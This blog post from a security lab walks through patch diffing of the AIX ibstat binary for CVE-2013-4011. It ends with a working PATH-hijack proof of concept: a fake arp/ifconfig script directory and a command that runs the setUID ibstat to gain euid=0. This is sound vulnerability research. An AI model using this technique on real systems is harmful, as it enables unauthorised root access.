The advisory concerned AIX (one of my favourite operating systems to pwn) and related to a potential privilege escalation vulnerability in AIX 6.1 and AIX 7.1′s ibstat command which has setUID root permissions set on it. The fact that it affects AIX 7.1 was particularly interesting because this is the most recent release.

It’s fair to say that there are a substantial number of such vulnerabilities in AIX 7.1 but my interest was peaked because it wasn’t one that we’d found.

To start with, I grabbed a copy of the efix and extracted it. You’ll notice that the tarball referenced within the advisory contains patches for all supported AIX releases which are delivered as compressed epkg files. It might not be immediately clear but these are actually just tarballs with some meta data describing the patched files. So let’s extract one and take a look:

$ tar xvf iv43580m2a.130619.epkg
x ./ecfile, 837 bytes, 2 media blocks.
...
x ./EFILE1, 47516 bytes, 93 media blocks.
x ./EFILE2, 17576 bytes, 35 media blocks.
...
$ cat ecfile
...
EFIX_FILE:
EFIX_FILE_NUM=1
...
TARGET_FILE=/usr/sbin/ibstat
...
EFIX_FILE:
EFIX_FILE_NUM=2
...
TARGET_FILE=/usr/sbin/arp.ib
...

I’ve stripped out the less interesting bits of ecfile but we can clearly see that this patches two files, /usr/sbin/ibstat and /usr/sbin/arp.ib.

So the next question is that have they actually changed? My first thought was to objdump the two binaries and compare the output. This should give us a clear idea of what libc function calls are being utilised (and thus what the vulnerability is likely to be) however they had been stripped of all symbols which would make this a long and tedious process. So what else can we do? Well, knowing what classes of vulnerability AIX commonly falls foul of, I figured there was a reasonable likelihood that the vulnerability pertained to some kind of command injection, so I ran strings across the vulnerable binary to see if it was possible in this case:

$ strings /usr/sbin/ibstat
@(#)23 1.5 src/bos/usr/ccs/lib/libpthreads/init.c, libpth, bos53H, h2006_10B1 3/5/06 21:33:24
...
ifconfig %s
...

It certainly looked like this was a possibility, however I wanted to be sure. My next step was to run strings across the new binary and compare the output. For this, I used kompare:

Commands that have been removed from the binary

Commands that have been added to the binary

Now we can quite clearly see what has changed. It appears that in the vulnerable binary certain system commands are called, without a fully qualified path. What does this mean? Well, unless the ibstat binary correctly sanitises the PATH environment variable when it is called then binaries such as arp etc will be called by ibstat from the first matching directory specified in PATH.

What this means is that we can provide our own malicious binaries in a location which we control and have them executed as root when we run the ibstat binary (as it has setUID root permissions set).

We can prove this as follows:

$ ls -l dummybin/
total 8
lrwxrwxrwx 1 user staff 8 Jul 20 09:59 arp -> ifconfig
-rwxr-xr-x 1 user staff 49 Jul 20 10:55 ifconfig
lrwxrwxrwx 1 user staff 8 Jul 20 09:59 lsattr -> ifconfig
$ cat dummybin/ifconfig
#!/bin/sh

echo $0
echo $1
echo $2
id
sleep 1000
$ PATH=/home/user/ibstat/dummybin:/usr/bin:/etc:/usr/sbin:/usr/ucb /usr/sbin/ibstat -a lo0

===============================================================================
IB INTERFACE ARP TABLE
===============================================================================
/home/user/ibstat/dummybin/arp
-t
ib
uid=208(user) gid=1(staff) euid=0(root)

And there you have it, euid=0 in under half an hour.

If you enjoyed this write up be sure to get yourself a ticket for 44CON where I will be presenting the next round of our more detailed research into modern POSIX alike OS, including how I uncovered potentially exploitable bugs in ~400 Debian GNU/Linux packages in a single day.

The post In the lab, popping CVE-2013-4011 for AIX 7.1… appeared first on Portcullis Labs.